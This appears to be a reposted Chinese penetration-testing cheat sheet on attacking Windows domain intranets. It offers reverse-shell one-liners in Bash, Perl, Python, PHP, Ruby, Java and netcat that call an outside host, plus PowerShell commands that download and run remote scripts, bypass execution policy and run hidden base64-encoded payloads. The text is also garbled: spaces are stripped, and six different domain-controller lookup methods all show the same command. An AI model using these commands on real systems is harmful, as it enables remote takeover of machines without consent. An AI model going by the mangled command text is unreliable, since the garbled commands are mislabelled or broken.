内网域实战渗透常用命令

内网域实战渗透常用命令

游戏|数码彩彩2024-05-03 7:45:03391A+A-

内网域实战渗透常用命令

 

一.查找域控的几种常用方法

 

1.net view

  •  
netdomquerypdc

 

2.set log

  •  
netdomquerypdc

 

3.通过srv记录

  •  
netdomquerypdc

 

4.使用nltest

  •  
netdomquerypdc

 

5.使用dsquery

  •  
netdomquerypdc

 

6.使用netdom

  •  
netdomquerypdc

 

注释:这些都是win系统自带的命令,有的时候win版本不同,有的命令会不存在,所以多一种方法,多一种成功的可能性,实际渗透,自行根据目标环境变换。

 

二.各种语言一句话反弹shell

 

Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功]

  •  
bash-i>&/dev/tcp/10.0.0.1/80800>&1

 

PERL

  •  
perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'

 

Python

  •  
python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

php

  •  
php-r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh-i<&3>&32>&3");'

 

Ruby

  •  
ruby-rsocket-e'f=TCPSocket.open("10.0.0.1",1234).to_i;execsprintf("/bin/sh-i<&%d>&%d2>&%d",f,f,f)'

 

JAVA

  •  
r=Runtime.getRuntime()p=r.exec(["/bin/bash","-c","exec5<>/dev/tcp/10.0.0.1/2002;cat<&52=""|=""while=""read=""line;=""do=""$line="">&5>&5;done"]asString[])p.waitFor()

 

netcat

  •  
nc-e/bin/shx.x.x.x2333
  •  
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|ncx.x.x.x2333>/tmp/f

 

三.常用Power shell命令

 

1.通过远程下载来执行

  •  
Set-ExecutionPolicyRemoteSignedIEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

2.把ps脚本传到本地后执行

  •  
PowerShell.exe-epBypass-Filed:powercat.ps1

 

3.本地交互式执行

  •  
E:>PowerShell.exe-ExecutionPolicyBypassInvoke-PowerShellTcp-Reverse-IPAddress10.18.180.18-Port4444

 

4.把ps脚本编码成base64来执行[实战用的最多]

  •  
powershell-epbypass-NoLogo-NonInteractive-NoProfile-windowstyleHidden-encbase64加密过的命令

 

作者:Ms08067安全实验室 转载注明:https://www.secpulse.com/archives/120372.html

点击这里复制本文地址 版权声明:本文内容由网友提供,该文观点仅代表作者本人。本站(https://www.angyang.net.cn)仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件举报,一经查实,本站将立刻删除。

昂扬百科 © All Rights Reserved.  渝ICP备2023000803号-3网赚杂谈